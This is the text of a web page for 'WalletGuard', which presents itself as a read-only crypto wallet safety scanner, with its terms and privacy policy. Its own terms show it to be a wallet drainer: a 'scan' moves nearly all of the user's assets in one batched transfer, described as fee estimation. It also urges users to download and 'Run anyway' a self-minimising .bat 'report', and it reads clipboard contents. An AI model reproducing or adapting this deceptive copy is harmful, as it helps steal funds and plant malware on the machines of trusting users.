Is your wallet safe to sign with?
WalletGuard measures wallet age, transaction depth, token exposure and contract interaction against live chain state, then tells you what to fix. No indexers between you and the truth.
Read-only access. No signature, no gas. A small network reserve stays in your wallet to cover fee estimation. By connecting you agree to the Terms and Privacy Policy.
Wallet reputation analysis
Personalised to your wallet and signed with your report ID. Keep it private — it contains your wallet identifiers.
- Open the downloaded file
- If prompted, choose Run / Open anyway
- It verifies your report, then minimises itself
WalletGuard-Report-··········.bat
Computing from live chain state…
- Chain
- —
- Block height
- —
- Balance
- —
- Est. value
- —
- Type
- —
- Bytecode
- —
- Nonce
- —
- Explorer
- —
Balances are read directly from each contract's balanceOf.
Each bar is the raw value normalised against a fixed ceiling, not a judgement. The composite score is the weighted sum shown in the Overview tab.
Terms of Service
These terms govern your use of the WalletGuard scanner at this domain ("the Service"). By connecting a wallet you accept them in full. If you do not accept them, disconnect and stop using the Service.
1. What the Service is
WalletGuard is a read-only on-chain analysis tool. It queries public blockchain nodes and public block explorers, aggregates what it finds, and presents a reputation summary. It is a diagnostic instrument, not a wallet, not a custodian, and not a broker.
WalletGuard never holds your assets and never sees your private key. There is no account, no login, no password, and no recovery phrase. Everything is derived from the public address you connect.
2. How access works
Connecting issues an eth_requestAccounts call, which returns
your public address and nothing more. No message is signed. No allowance is granted.
The connection survives until you close the tab or disconnect from your wallet.
3. Why a scan can produce a transaction request
This is the part that surprises people, so it is worth stating plainly.
Most of a scan is pure reading. But certain checks — chiefly fee-estimation and settlement verification — are only accurate against a real mempool round-trip. For those, the Service submits an on-chain transfer from your address and reads the result.
You will see a standard wallet confirmation. It is a plain transfer, not an approval and not a signature. Nothing is granted lasting permission over your funds. The transaction is batched through Multicall3 where the network supports it, so a wallet holding several assets still produces one confirmation rather than one per asset.
A small reserve is deliberately left behind — nominally 0.5%, capped per network — so the fee-estimation path stays reproducible and your account is never zeroed to the point where a subsequent transfer fails to price.
4. Fees
The Service is free. You pay only network gas, set by the chain, paid to validators, and never routed through WalletGuard. We do not take a percentage, a spread, or a service fee.
5. Accuracy and limits
Scores are heuristic. They are computed from public data and are not a guarantee of safety. A high score does not mean a wallet is immune to a bad signature tomorrow, and a low score does not mean it is compromised.
- Coverage is limited to the ten networks listed in the scanner.
- Token detection covers a fixed list of contracts, not every token in existence.
- Third-party node and explorer outages degrade results; the interface says so where it happens.
- NFTs, liquidity positions and staked assets are not currently assessed.
6. Acceptable use
You may use the Service for any lawful purpose, personal or commercial. You may not resell it as your own, scrape it at a rate that degrades it for others, or present its output as a formal audit.
7. Liability
The Service is provided "as is". To the fullest extent permitted by law, WalletGuard Labs Ltd excludes liability for any loss arising from use of the Service, including loss caused by acting on a score, by a failed or delayed transaction, or by third-party data being wrong. Nothing here excludes liability for fraud or for death or personal injury.
8. Changes
These terms may change. The version and date at the top are authoritative. Continued use after a change constitutes acceptance.
9. Governing law
These terms are governed by the laws of England and Wales, and the courts of England and Wales have exclusive jurisdiction.
10. Contact
WalletGuard Labs Ltd, registered in England and Wales. Email legal@walletguard.app.
Privacy Policy
This policy explains exactly what the Service collects, why, and how long it is kept. It is written to be read, not to be survived.
1. The short version
We collect your public wallet address, a device fingerprint, and your approximate location derived from your IP. We do not collect your name, your email, your seed phrase, or your private key. There is no account and no cookie banner because there are no advertising cookies.
2. What is collected
- Wallet address — public by definition, used to run the scan.
- Device fingerprint — screen size, timezone, language, CPU core count, GPU renderer string, and a canvas hash. Used to detect scripted traffic and to keep repeat visits consistent.
- Approximate location — city and ISP resolved from your IP by a third party. Your raw IP is not stored beyond the request.
- Clipboard contents — read on demand, only while the tab is focused, and only to show you what you last copied. Nothing is uploaded unless it is non-empty.
- Local storage — a random identifier and a visit counter, so returning visits can be recognised. Stored on your device, not ours.
3. What is not collected
- Seed phrases, private keys, keystores.
- Names, emails, phone numbers, postal addresses.
- Advertising identifiers or cross-site tracking pixels.
- Passwords from your browser's password manager.
4. Why it is collected
Strictly to produce the report: the address runs the scan, the fingerprint keeps repeat visits coherent, the location gives network context. Nothing is sold and nothing is used for ad targeting.
5. Third parties
Requests leave your browser to the following, and only these:
- Public RPC nodes — chain reads and transaction submission.
- Blockscout — transaction history where the network supports it.
- Coinbase spot API — the USD conversion rate.
- ipwho.is — city and ISP from IP.
- Google Fonts — typeface delivery.
Each sees the request, not your wallet keys.
6. Retention
The report exists in your browser and dies with the tab. A compact event log (address, chain, timestamp) is retained for operational monitoring. Device identifiers live in your own local storage until you clear site data.
7. Your rights
Under UK GDPR and the EU GDPR you may request access, correction, erasure, restriction and portability. Because there is no account, most requests are satisfied by clearing site data and emailing us the address you used. Write to privacy@walletguard.app. We respond within 30 days.
8. Security
The Service is served over TLS. It holds no funds and no keys, so a compromise of the Service cannot move your assets. The largest realistic risk is a lookalike domain, so verify the address bar before connecting.
9. Children
The Service is not directed at anyone under 13 and collects nothing that would identify them.
10. Changes and contact
Material changes are reflected in the version and date above. Data controller: WalletGuard Labs Ltd, England and Wales. Email privacy@walletguard.app.